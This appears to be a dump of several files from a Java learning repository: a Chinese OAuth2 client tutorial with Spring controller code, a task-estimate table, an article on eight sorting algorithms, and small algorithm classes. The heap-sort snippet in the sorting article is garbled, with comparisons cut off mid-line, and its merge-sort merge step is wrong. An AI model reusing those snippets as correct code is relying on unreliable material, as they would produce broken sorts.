\naccess_token是调用授权关系接口的调用凭证，由于access_token有效期（目前为2个小时）较短，当access_token超时后，可以使用refresh_token进行刷新，access_token刷新结果有两种： \n  \\1. 若access_token已超时，那么进行refresh_token会获取一个新的access_token，新的超时时间； \n  \\2. 若access_token未超时，那么进行refresh_token不会改变access_token，但超时时间会刷新，相当于续期access_token。 \nrefresh_token拥有较长的有效期（30天），当refresh_token失效的后，需要用户重新授权。\n\n# 项目介绍\n\n项目结构如下： \nAuthzController:获取授权码 \nTokenController:获得令牌 \nResourceController:资源服务 \nClientController:客户端\n\n基础代码放到github:https://github.com/zhouyongtao/homeinns-web\n\n[![image](https://images0.cnblogs.com/blog/365537/201412/011257283586994.png)](https://images0.cnblogs.com/blog/365537/201412/011257281081538.png)\n\n确保项目8080端口运行，可以手动调试\n\n> 获得授权码 \n> http://localhost:8080/oauth2/authorize?client_id=fbed1d1b4b1449daa4bc49397cbe2350&response_type=code&redirect_uri=http://localhost:8080/oauth_callback \n> 获得令牌(POST) \n> http://localhost:8080/oauth2/access_token?client_id=fbed1d1b4b1449daa4bc49397cbe2350&client_secret=fbed1d1b4b1449daa4bc49397cbe2350&grant_type=authorization_code&redirect_uri=http://localhost:8080/oauth_callback&code={code}\n\n# 客户端\n\n也可以使用如下客户端测试代码，访问 http://localhost:8080/client 测试\n\n``\"Consolas\"``>``/**`` ``* Created by Irving on 2014/11/24.`` ``* OAuth2 客户端实现`` ``*/``@Controller``@RequestMapping(``\"/client\"``)``public` `class` `ClientController {` `  ``private` `static` `Logger logger = LoggerFactory.getLogger(ClientController.``class``);``  ``/*``    ``response_type：表示授权类型，必选项，此处的值固定为\"code\"``    ``client_id：表示客户端的ID，必选项``    ``redirect_uri：表示重定向URI，可选项``    ``scope：表示申请的权限范围，可选项``    ``state：表示客户端的当前状态，可以指定任意值，认证服务器会原封不动地返回这个值``  ``*/``  ``/**``   ``* 获得授权码``   ``* @return``   ``*/``  ``@RequestMapping(method = RequestMethod.GET)``  ``public` `String client() {``    ``try` `{``      ``OAuthClientRequest oauthResponse = OAuthClientRequest``                        ``.authorizationLocation(ConstantKey.OAUTH_CLIENT_AUTHORIZE)``                        ``.setResponseType(OAuth.OAUTH_CODE)``                        ``.setClientId(ConstantKey.OAUTH_CLIENT_ID)``                        ``.setRedirectURI(ConstantKey.OAUTH_CLIENT_CALLBACK)``                        ``.setScope(ConstantKey.OAUTH_CLIENT_SCOPE)``                        ``.buildQueryMessage();``      ``return` `\"redirect:\"``+oauthResponse.getLocationUri();``    ``} ``catch` `(OAuthSystemException e) {``      ``e.printStackTrace();``    ``}``    ``return` `\"redirect:/home\"``;``  ``}` `  ``/*``    ``grant_type：表示使用的授权模式，必选项，此处的值固定为\"authorization_code\"``    ``code：表示上一步获得的授权码，必选项。``    ``redirect_uri：表示重定向URI，必选项，且必须与A步骤中的该参数值保持一致``    ``client_id：表示客户端ID，必选项``  ``*/``  ``/**``   ``* 获得令牌``   ``* @return oauth_callback?code=1234``   ``*/``  ``@RequestMapping(value = ``\"/oauth_callback\"` `,method = RequestMethod.GET)``  ``public` `String getToken(HttpServletRequest request,Model model) throws OAuthProblemException {``    ``OAuthAuthzResponse oauthAuthzResponse = ``null``;``    ``try` `{``      ``oauthAuthzResponse = OAuthAuthzResponse.oauthCodeAuthzResponse(request);``      ``String code = oauthAuthzResponse.getCode();``      ``OAuthClientRequest oauthClientRequest = OAuthClientRequest``                          ``.tokenLocation(ConstantKey.OAUTH_CLIENT_ACCESS_TOKEN)``                          ``.setGrantType(GrantType.AUTHORIZATION_CODE)``                          ``.setClientId(ConstantKey.OAUTH_CLIENT_ID)``                          ``.setClientSecret(ConstantKey.OAUTH_CLIENT_SECRET)``                          ``.setRedirectURI(ConstantKey.OAUTH_CLIENT_CALLBACK)``                          ``.setCode(code)``                          ``.buildQueryMessage();``      ``OAuthClient oAuthClient = ``new` `OAuthClient(``new` `URLConnectionClient());` `      ``//Facebook is not fully compatible with OAuth 2.0 draft 10, access token response is``      ``//application/x-www-form-urlencoded, not json encoded so we use dedicated response class for that``      ``//Custom response classes are an easy way to deal with oauth providers that introduce modifications to``      ``//OAuth 2.0 specification` `      ``//获取access token``      ``OAuthJSONAccessTokenResponse oAuthResponse = oAuthClient.accessToken(oauthClientRequest, OAuth.HttpMethod.POST);``      ``String accessToken = oAuthResponse.getAccessToken();``      ``String refreshToken= oAuthResponse.getRefreshToken();``      ``Long expiresIn = oAuthResponse.getExpiresIn();``      ``//获得资源服务``      ``OAuthClientRequest bearerClientRequest = ``new` `OAuthBearerClientRequest(ConstantKey.OAUTH_CLIENT_GET_RESOURCE)``                           ``.setAccessToken(accessToken).buildQueryMessage();``      ``OAuthResourceResponse resourceResponse = oAuthClient.resource(bearerClientRequest, OAuth.HttpMethod.GET, OAuthResourceResponse.``class``);``      ``String resBody = resourceResponse.getBody();``      ``logger.info(``\"accessToken: \"``+accessToken +``\" refreshToken: \"``+refreshToken +``\" expiresIn: \"``+expiresIn +``\" resBody: \"``+resBody);``      ``model.addAttribute(``\"accessToken\"``, ``\"accessToken: \"``+accessToken + ``\" resBody: \"``+resBody);``      ``return` `\"oauth2/token\"``;``    ``} ``catch` `(OAuthSystemException ex) {``      ``logger.error(``\"getToken OAuthSystemException : \"` `+ ex.getMessage());``      ``model.addAttribute(``\"errorMsg\"``, ex.getMessage());``      ``return` `\"/oauth2/error\"``;``    ``}``  ``}``}```\n\n> Refer: \n> https://cwiki.apache.org/confluence/display/OLTU/Index \n> https://open.weixin.qq.com/cgi-bin/readtemplate?t=resource/app_wx_login_tmpl&lang=zh_CN#faq\n>\n>  \n>\n> http://jinnianshilongnian.iteye.com/blog/2038646\n>\n> http://blog.csdn.net/u014386474/article/details/51602264\n>\n> [http://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html](http://www.cnblogs.com/nidakun/p/3195023.html)\n>\n> http://www.cnblogs.com/nidakun/p/3195023.html"
  },
  {
    "path": "jun_java_plugins/doc/性能门禁.md",
    "content": "Key\nStory\n描述\n代码量\n工作量（人天）\n版本\n1\nDTP新增性能门禁Excel报告集成jgrapht展示调度图\n性能门禁调度图\n400\n20\n五月版本\n2\nDTP新增性能门禁Excel报告展示模块模块性能详单及产品详细清单\n模块详情、产品详单\n500\n25\n五月版本\n3\nDTP性能门禁表结构维护及初始化修改1张新增5张\n新增5张表，修改一张\n120\n6\n五月版本\n4\nDTP适配C-Engine提供的调度计算时间消息及接口(接口1)\n消息队列\n300\n15\n五月版本\n5\nDTP适配C-Engine提供的查询模型算法计算消息及接口(接口2)\n消息队列\n300\n15\n五月版本\n6\nDTP适配C-Engine提供的查询模型算法计算的详细信息接口(接口3)\n产品性能详情接口\n240\n12\n五月版本\n7\nDTP适配C-Engine提供的模型全量计算含Bpart接口(接口4)\n全量计算接口\n240\n12\n五月版本\n8\nDTP新增性能门禁期望值表及CRUD校验接口\n5张表的增删改查及校验实现\n360\n18\n五月版本\n9\nDTP新增性能门禁调度图记录表及CRUD校验接口\n　\n360\n18\n五月版本\n10\nDTP新增性能门禁调度图关系表及CRUD校验接口\n　\n360\n18\n五月版本\n11\nDTP新增性能门禁产品性能明细表及CRUD校验接口\n　\n360\n18\n五月版本\n12\nDTP新增性能门禁报表明细表及CRUD校验接口\n　\n360\n18\n五月版本\n13\nDTP新增性能门禁单产品及组合产品模块性能详情导出\n产品模块详细导出\n400\n20\n五月版本\n14\nDTP用例支持性能用例执行生成性能门禁数据调度流\n　\n300\n15\n五月版本\nDTP新增组合产品性能门禁期望值页面\n　\n480\n24\n七月版本\nDTP新增性能门禁期望值后端接口\n　\n120\n6\n七月版本\nDTP新增性能门禁报告调度图页面\n　\n360\n18\n七月版本\nDTP新增性能门禁报告集成调度图后端接口\n　\n160\n8\n七月版本\nDTP新增性能门禁配置计算调度表页面\n　\n400\n20\n七月版本\nDTP新增性能门禁配置计算调度表后端接口\n　\n160\n8\n七月版本\nDTP新增性能门禁报告模块产品用例树页面\n　\n240\n12\n七月版本\nDTP新增性能门禁报告模块产品用例树接口\n　\n120\n6\n七月版本\nDTP新增性能门禁产品详单页面(跨模块、参数、Spart、超统)\n　\n480\n24\n七月版本\nDTP用例支持性能用例执行是否通过及期望值比对\n　\n120\n6\n七月版本\nDTP支持性能用例执行及设置性能门禁期望值\n　\n160\n8\n七月版本\nDTP用例列表及页面新增性能用例是否通过标示\n　\n100\n5\n七月版本\nDTP支持用例期望值页面展示用例规模并统计参数数量\n　\n240\n12\n七月版本\nDTP性能门禁产品计算耗时接口(展示系统函数、自定义函数、跨模块参数等明显)\n　\n160\n8\n七月版本\nDTP性能门禁产品计算耗时支持导出"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/Java常用的八种排序算法与代码实现.md",
    "content": "## Java常用的八种排序算法与代码实现\n\n**目录：**\n\n> # 1.直接插入排序\n>\n> # 2.希尔排序\n>\n> 3.简单选择排序\n>\n> # 4.堆排序\n>\n> # 5.冒泡排序\n>\n> # 6.快速排序\n>\n> # 7.归并排序\n>\n> # 8.基数排序\n\n\n\n**1.直接插入排序**\n\n\n\n经常碰到这样一类排序问题：把新的数据插入到已经排好的数据列中。\n\n将第一个数和第二个数排序，然后构成一个有序序列\n\n将第三个数插入进去，构成一个新的有序序列。\n\n对第四个数、第五个数……直到最后一个数，重复第二步。\n\n\n\n![图片](http://mmbiz.qpic.cn/mmbiz_png/MOwlO0INfQpKubibb9mtMxTlSzahzOFjAx2k7iabzcKcugHT0rykIhQmeszSGeIs5EIpq89o2GB0r8IV4SsSawUA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)\n\n\n\n**如何写成代码：**\n\n首先设定插入次数，即循环次数，for(int i=1;i<length;i++)，1个数的那次不用插入。\n\n设定插入数和得到已经排好序列的最后一个数的位数。insertNum和j=i-1。\n\n从最后一个数开始向前循环，如果插入数小于当前数，就将当前数向后移动一位。\n\n将当前数放置到空着的位置，即j+1。\n\n\n\n**代码实现如下：**\n\n\n\n![图片](http://mmbiz.qpic.cn/mmbiz_png/MOwlO0INfQpKubibb9mtMxTlSzahzOFjAYQX9ib7TlctoaM5RibqTR6FSnQYXq7CYXR2PUBPCmzm7vqnAgCoznjXg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)\n\n\n\n**2.希尔排序**\n\n\n\n对于直接插入排序问题，数据量巨大时。\n\n将数的个数设为n，取奇数k=n/2，将下标差值为k的书分为一组，构成有序序列。\n\n再取k=k/2 ，将下标差值为k的书分为一组，构成有序序列。\n\n重复第二步，直到k=1执行简单插入排序。\n\n\n\n![图片](http://mmbiz.qpic.cn/mmbiz_png/MOwlO0INfQpKubibb9mtMxTlSzahzOFjApDyiaibDaqwaVR82jCpibuSicsHrbczyJIuKM7sHB38qAJASQ1PFVEJ7icg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)\n\n\n\n**如何写成代码：**\n\n首先确定分的组数。\n\n然后对组中元素进行插入排序。\n\n然后将length/2，重复1,2步，直到length=0为止。\n\n\n\n**代码实现如下：**\n\n\n\n![图片](http://mmbiz.qpic.cn/mmbiz_png/MOwlO0INfQpKubibb9mtMxTlSzahzOFjAHZ8tEjdCApxfzH7mUtXEpTgcicoBJ2oy09ia6jtz8PqCvvexTQTR3Abg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)\n\n\n\n**3.简单选择排序**\n\n\n\n常用于取序列中最大最小的几个数时。\n\n(如果每次比较都交换，那么就是交换排序；如果每次比较完一个循环再交换，就是简单选择排序。)\n\n遍历整个序列，将最小的数放在最前面。\n\n遍历剩下的序列，将最小的数放在最前面。\n\n重复第二步，直到只剩下一个数。\n\n![图片](http://mmbiz.qpic.cn/mmbiz_png/MOwlO0INfQpKubibb9mtMxTlSzahzOFjAAxXCUxGNVHO0ehjY2ibPzzHezOgRkUz8kbSY5gTBO5r5fPVC31uFy3Q/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)\n\n**如何写成代码：**\n\n首先确定循环次数，并且记住当前数字和当前位置。\n\n将当前位置后面所有的数与当前数字进行对比，小数赋值给key，并记住小数的位置。\n\n比对完成后，将最小的值与第一个数的值交换。\n\n重复2、3步。\n\n\n\n**代码实现如下：**\n\n\n\n![img](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==)\n\n\n\n**4.堆排序**\n\n\n\n对简单选择排序的优化。\n\n将序列构建成大顶堆。\n\n将根节点与最后一个节点交换，然后断开最后一个节点。\n\n重复第一、二步，直到所有节点断开。\n\n\n\n![图片](http://mmbiz.qpic.cn/mmbiz_png/MOwlO0INfQpKubibb9mtMxTlSzahzOFjAbqs24qOMGSYH6D6majYj7yibCTr36xWR9YEToJYBiauq9XJwEBu9j4MQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)\n\n\n\n**代码实现如下：**\n\n\n\n> 1. `public void heapSort(int[] a){`\n> 2. `    System.out.println(\"开始排序\");`\n> 3. `    int arrayLength=a.length;`\n> 4. `    //循环建堆  `\n> 5. `    for(int i=0;i\n> 6. `      //建堆  `\n> 7. \n> 8. `      buildMaxHeap(a,arrayLength-1-i);`\n> 9. `      //交换堆顶和最后一个元素  `\n> 10. `      swap(a,0,arrayLength-1-i);`\n> 11. `      System.out.println(Arrays.toString(a));`\n> 12. `    }`\n> 13. `  }`\n> 14. `  private void swap(int[] data, int i, int j) {`\n> 15. `    // TODO Auto-generated method stub  `\n> 16. `    int tmp=data[i];`\n> 17. `    data[i]=data[j];`\n> 18. `    data[j]=tmp;`\n> 19. `  }`\n> 20. `  //对data数组从0到lastIndex建大顶堆  `\n> 21. `  private void buildMaxHeap(int[] data, int lastIndex) {`\n> 22. `    // TODO Auto-generated method stub  `\n> 23. `    //从lastIndex处节点（最后一个节点）的父节点开始  `\n> 24. `    for(int i=(lastIndex-1)/2;i>=0;i--){`\n> 25. `      //k保存正在判断的节点  `\n> 26. `      int k=i;`\n> 27. `      //如果当前k节点的子节点存在  `\n> 28. `      while(k*2+1<=lastIndex){`\n> 29. `        //k节点的左子节点的索引  `\n> 30. `        int biggerIndex=2*k+1;`\n> 31. `        //如果biggerIndex小于lastIndex，即biggerIndex+1代表的k节点的右子节点存在  `\n> 32. `        if(biggerIndex\n> 33. `          //若果右子节点的值较大  `\n> 34. `          if(data[biggerIndex]\n> 35. `            //biggerIndex总是记录较大子节点的索引  `\n> 36. `            biggerIndex++;`\n> 37. `          }`\n> 38. `        }`\n> 39. `        //如果k节点的值小于其较大的子节点的值  `\n> 40. `        if(data[k]\n> 41. `          //交换他们  `\n> 42. `          swap(data,k,biggerIndex);`\n> 43. `          //将biggerIndex赋予k，开始while循环的下一次循环，重新保证k节点的值大于其左右子节点的值  `\n> 44. `          k=biggerIndex;`\n> 45. `        }else{`\n> 46. `          break;`\n> 47. `        }`\n> 48. `      }`\n> 49. `    }`\n> 50. `  }`\n> 51. \n> 52. \n\n\n\n**5.冒泡排序**\n\n\n\n一般不用。\n\n将序列中所有元素两两比较，将最大的放在最后面。\n\n将剩余序列中所有元素两两比较，将最大的放在最后面。\n\n重复第二步，直到只剩下一个数。\n\n\n\n![图片](http://mmbiz.qpic.cn/mmbiz_png/MOwlO0INfQpKubibb9mtMxTlSzahzOFjA0OicXlwPAKmZ7jXvj33ZXWuYMbuA7qibWAXzcaR4Miag3HRXHurNkmM8w/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)\n\n**如何写成代码：**\n\n设置循环次数。\n\n设置开始比较的位数，和结束的位数。\n\n两两比较，将最小的放到前面去。\n\n重复2、3步，直到循环次数完毕。\n\n\n\n**代码实现如下：**\n\n\n\n![图片](http://mmbiz.qpic.cn/mmbiz_png/MOwlO0INfQpKubibb9mtMxTlSzahzOFjAtXlRKb6NaEzLeJNPz5zuC38ACp55hdZVjehkoQdhmyDLk2zUibC63EQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)\n\n\n\n**6.快速排序**\n\n\n\n要求时间最快时。\n\n选择第一个数为p，小于p的数放在左边，大于p的数放在右边。\n\n递归的将p左边和右边的数都按照第一步进行，直到不能递归。\n\n\n\n![图片](http://mmbiz.qpic.cn/mmbiz_png/MOwlO0INfQpKubibb9mtMxTlSzahzOFjAc2hHN5PqIBHh6ico8DDr9via2bZeq5axpeGOkdtSdN0Td7sSewboUrkQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)\n\n\n\n**代码实现如下：**\n\n\n\n![图片](http://mmbiz.qpic.cn/mmbiz_png/MOwlO0INfQpKubibb9mtMxTlSzahzOFjAqvXZUKte59KcLdgzTPtCX2kxtoGAbAvttI6nkeLTLkJwRLicLejGJIg/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)\n\n\n\n**7.归并排序**\n\n\n\n速度仅次于快排，内存少的时候使用，可以进行并行计算的时候使用。\n\n选择相邻两个数组成一个有序序列。\n\n选择相邻的两个有序序列组成一个有序序列。\n\n重复第二步，直到全部组成一个有序序列。\n\n\n\n![图片](http://mmbiz.qpic.cn/mmbiz_png/MOwlO0INfQpKubibb9mtMxTlSzahzOFjAfhlknGEwgPhyQU9BPdH3WZKWk6IGH0q1kpmTK1xczhHlT6UkAKalicA/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)\n\n\n\n**代码实现如下：**\n\n> 1. `public static void mergeSort(int[] numbers, int left, int right) { `\n> 2. `  int t = 1;// 每组元素个数  `\n> 3. `  int size = right - left + 1; `\n> 4. `  while (t < size) { `\n> 5. `    int s = t;// 本次循环每组元素个数  `\n> 6. `    t = 2 * s; `\n> 7. `    int i = left; `\n> 8. `    while (i + (t - 1) < size) { `\n> 9. `      merge(numbers, i, i + (s - 1), i + (t - 1)); `\n> 10. `      i += t; `\n> 11. `    } `\n> 12. `    if (i + (s - 1) < right) `\n> 13. `      merge(numbers, i, i + (s - 1), right); `\n> 14. `  } `\n> 15. `} `\n> 16. `private static void merge(int[] data, int p, int q, int r) { `\n> 17. `  int[] B = new int[data.length]; `\n> 18. `  int s = p; `\n> 19. `  int t = q + 1; `\n> 20. `  int k = p; `\n> 21. `  while (s <= q && t <= r) { `\n> 22. `    if (data[s] <= data[t]) { `\n> 23. `      B[k] = data[s]; `\n> 24. `      s++; `\n> 25. `    } else { `\n> 26. `      B[k] = data[t]; `\n> 27. `      t++; `\n> 28. `    } `\n> 29. `    k++; `\n> 30. `  } `\n> 31. `  if (s == q + 1) `\n> 32. `    B[k++] = data[t++]; `\n> 33. `  else `\n> 34. `    B[k++] = data[s++]; `\n> 35. `  for (int i = p; i <= r; i++) `\n> 36. `    data[i] = B[i]; `\n> 37. `}`\n\n\n\n\n\n**8.基数排序**\n\n\n\n用于大量数，很长的数进行排序时。\n\n将所有的数的个位数取出，按照个位数进行排序，构成一个序列。\n\n将新构成的所有的数的十位数取出，按照十位数进行排序，构成一个序列。\n\n\n\n![图片](http://mmbiz.qpic.cn/mmbiz_png/MOwlO0INfQpKubibb9mtMxTlSzahzOFjAnF55npQc3WybgGTnCngps4Emm7sV55eniaibhVc9xA2Kxd4lN8pdzfog/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1)\n\n\n\n**代码实现如下：**\n\n\n\n> 1. `public void sort(int[] array) {`\n> 2. `    //首先确定排序的趟数;   `\n> 3. `    int max = array[0];`\n> 4. `    for (int i = 1; i < array.length; i++) {`\n> 5. `      if (array[i] > max) {`\n> 6. `        max = array[i];`\n> 7. `      }`\n> 8. `    }`\n> 9. `    int time = 0;`\n> 10. `    //判断位数;   `\n> 11. `    while (max > 0) {`\n> 12. `      max /= 10;`\n> 13. `      time++;`\n> 14. `    }`\n> 15. `    //建立10个队列;   `\n> 16. `    List queue = new ArrayList();`\n> 17. `    for (int i = 0; i < 10; i++) {`\n> 18. `      ArrayList queue1 = new ArrayList();`\n> 19. `      queue.add(queue1);`\n> 20. `    }`\n> 21. `    //进行time次分配和收集;   `\n> 22. `    for (int i = 0; i < time; i++) {`\n> 23. `      //分配数组元素;   `\n> 24. `      for (int j = 0; j < array.length; j++) {`\n> 25. `        //得到数字的第time+1位数;  `\n> 26. `        int x = array[j] % (int) Math.pow(10, i + 1) / (int) Math.pow(10, i);`\n> 27. `        ArrayList queue2 = queue.get(x);`\n> 28. `        queue2.add(array[j]);`\n> 29. `        queue.set(x, queue2);`\n> 30. `      }`\n> 31. `      int count = 0;//元素计数器;   `\n> 32. `      //收集队列元素;   `\n> 33. `      for (int k = 0; k < 10; k++) {`\n> 34. `        while (queue.get(k).size() > 0) {`\n> 35. `          ArrayList queue3 = queue.get(k);`\n> 36. `          array[count] = queue3.get(0);`\n> 37. `          queue3.remove(0);`\n> 38. `          count++;`\n> 39. `        }`\n> 40. `      }`\n> 41. `    }`"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/README.md",
    "content": "## jun_algorithm,常用数据结构Java实现及常用八种排序算法\n\n1. 八大排序 二分查找\n2. 实现自己的List和ArrayList\n3. 二叉树遍历算法（递归 & 非递归）AVLTree\n4. 一致性Hash算法\n5. 其他"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<version>1.0</version>\n\t<artifactId>jun_algorithm</artifactId>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.12</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>1.6.2</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-log4j12</artifactId>\n\t\t\t<version>1.6.2</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.commons</groupId>\n\t\t\t<artifactId>commons-lang3</artifactId>\n\t\t\t<version>3.1</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-webmvc</artifactId>\n\t\t\t<version>4.3.0.RELEASE</version>\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.8</source>\n\t\t\t\t\t<target>1.8</target>\n\t\t\t\t\t<encoding>${project.build.sourceEncoding}</encoding>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/array/GcdAndLcm.java",
    "content": "package com.jun.plugin.algorithm.array;\nimport org.junit.Test;\n\npublic class GcdAndLcm {\n/**\n * 最大公约数的递推算法\n */\npublic int gcd01(int m,int n){\n\tint a=Math.max(m, n);\n\tint b=Math.min(m, n);\n\tm=a;\n\tn=b;\n\tint r;\n\twhile(m%n!=0){\n\t\tr=m%n;\n\t\tm=n;\n\t\tn=r;\n\t}\n\treturn n;\n}\n/**\n * 最大公约数的递归算法\n */\npublic int gcd02(int m,int n){\n\t/*int a=Math.max(m, n);\n\tint b=Math.min(m, n);\n\tif(a%b==0){\n\t\treturn b;\n\t}else{\n\t\treturn gcd02(b, a%b);\n\t}*/\n\treturn m>=n?m%n==0?n:gcd02(n, m%n):n%m==0?m:gcd02(m, n%m);\n}\n/**\n * 最小公倍数\n */\npublic int lcm(int m,int n){\n\treturn m*n/gcd01(m, n);\n}\n@Test\npublic void testGcd01(){\n\tSystem.out.println(gcd01(100, 44));\n\tSystem.out.println(gcd01(44, 100));\n}\n@Test\npublic void testGcd02(){\n\tSystem.out.println(gcd02(105,252));\n\tSystem.out.println(gcd02(252, 105));\n}\n@Test\npublic void testLcm(){\n\tSystem.out.println(lcm(60, 24));\n}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/array/InverseArray.java",
    "content": "package com.jun.plugin.algorithm.array;\n\n/**\n * 泛型版本的数组逆置\n */\npublic class InverseArray<T> {\n\tpublic void swap(T[] array,int a,int b){\n\t\tT t=array[a];\n\t\tarray[a]=array[b];\n\t\tarray[b]=t;\n\t}\n\tpublic void printArray(T[] array){\n\t\tfor(T i:array){\n\t\t\tSystem.out.print(i.toString()+\" \");\n\t\t}\n\t\tSystem.out.println();\n\t}\n\tpublic void inverse(T[] array){\n\t\tif(array==null||array.length<=1){\n\t\t\treturn;\n\t\t}\n\t\tfor(int i=0,j=array.length-1;i<j;i++,j--){\n\t\t\tswap(array, i, j);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/array/MonkeyEatFruit.java",
    "content": "package com.jun.plugin.algorithm.array;\nimport org.junit.Assert;\nimport org.junit.Test;\n\n/**\n * 猴子吃桃问题:\n * 孙悟空第一天摘下若干蟠桃，当即吃了一半，还不过瘾，又多吃了一个。\n * 第二天早上，他又将剩下的蟠桃吃掉一半，还不过瘾，又多吃了一个。\n * 之后每天早上他都吃掉前一天剩下桃子的一半零一个。到第10天早上想再吃时，\n * 就只剩下一个蟠桃了。求孙悟空第一天共摘了多少个蟠桃？\n */\npublic class MonkeyEatFruit {\n\t\n/**\n * 递推算法\n */\npublic int eat01(int n){\n\tint a=1;\n\t//也可以这样考虑,“第1天开始吃桃子，连续吃了n-1天”\n\t//写成for(int i=1;i<=n-1;i++)，无所谓，结果一样\n\tfor(int i=2;i<=n;i++){\n\t\ta=2*a+2;\n\t}\n\treturn a;\n}\n/**\n * 递归算法\n */\npublic int eat02(int n){\n\tSystem.out.println(\"f(\"+n+\")压栈\");\n\tif(n==1){\n\t\tSystem.out.println(\"此时函数栈达到最大深度!\");\n\t\tSystem.out.println(\"f(\"+n+\")弹栈\");\n\t\treturn 1;\n\t}else{\n\t\tint a=eat02(n-1)*2+2;\n\t\tSystem.out.println(\"f(\"+n+\")弹栈\");\n\t\treturn a;\n\t}\n}\n/**\n * 递归算法\n * 用三元运算符把代码简化为一行\n */\npublic int eat03(int n){\n\treturn n==1?1:eat03(n-1)*2+2;\n}\n/**\n * 模拟猴子吃桃的过程\n * 用断言验证正确性\n */\npublic void check(int n,int num){\n\tint a=num;\n\tfor(int i=2;i<=n;i++){\n\t\ta=a/2-1;\n\t}\n\tSystem.out.println(a);\n\tAssert.assertTrue(a==1);\n}\n@Test\npublic void test01(){\n\tint n=10;\n\tint num=eat01(n);\n\tSystem.out.println(num);\n}\n@Test\npublic void test02(){\n\tint n=10;\n\tint num=eat02(n);\n\tSystem.out.println(num);\n}\n@Test\npublic void test03(){\n\t//当n很大的时候，函数栈会溢出\n\tint n=12000;\n\tint num=eat03(n);\n\tSystem.out.println(num);\n}\n@Test\npublic void testCheck(){\n\tint n=10;\n\tint num=1534;\n\tcheck(n, num);\n}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/array/SeriesSum.java",
    "content": "package com.jun.plugin.algorithm.array;\nimport org.junit.Test;\n\n/**\n *和为s的连续正整数序列\n * 输入一个正整数s，打印出所有和为s的连续正整数序列（至少含有两个数字）。\n */\npublic class SeriesSum {\npublic void printResult(int start,int end){\n\tfor(int k=start;k<=end;k++){\n\t\tSystem.out.print(k+\" \");\n\t}\n\tSystem.out.println();\n}\npublic void addSum(int s){\n\tint start=1,end=2;\n\tint sum=start+end;\n\tint half=(s+1)/2;\n\twhile(start<half){\n\t\tif(sum==s){\n\t\t\tprintResult(start, end);\n\t\t\tsum=sum-start;\n\t\t\tstart++;\n\t\t\tend++;\n\t\t\tsum+=end;\n\t\t}else if(sum<s){\n\t\t\tend++;\n\t\t\tsum+=end;\n\t\t}else{\n\t\t\tsum=sum-start;\n\t\t\tstart++;\n\t\t}\n\t}\n}\n@Test\npublic void test(){\n\taddSum(21);\n\tSystem.out.println();\n\taddSum(15);\n}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/array/TestInverse.java",
    "content": "package com.jun.plugin.algorithm.array;\nimport java.util.Random;\nimport org.junit.Test;\n\npublic class TestInverse {\n    /**\n     * 测试整型数组的逆置\n     */\n    @Test\n    public void testInteger() {\n        Integer[] array = new Integer[7];\n        Random ra = new Random();\n        for (int i = 0; i < 7; i++) {\n            array[i] = ra.nextInt(10);\n        }\n        InverseArray<Integer> ia = new InverseArray<Integer>();\n        ia.printArray(array);\n        ia.inverse(array);\n        ia.printArray(array);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_algorithm/src/main/java/com/jun/plugin/algorithm/array/TwoSum.java",
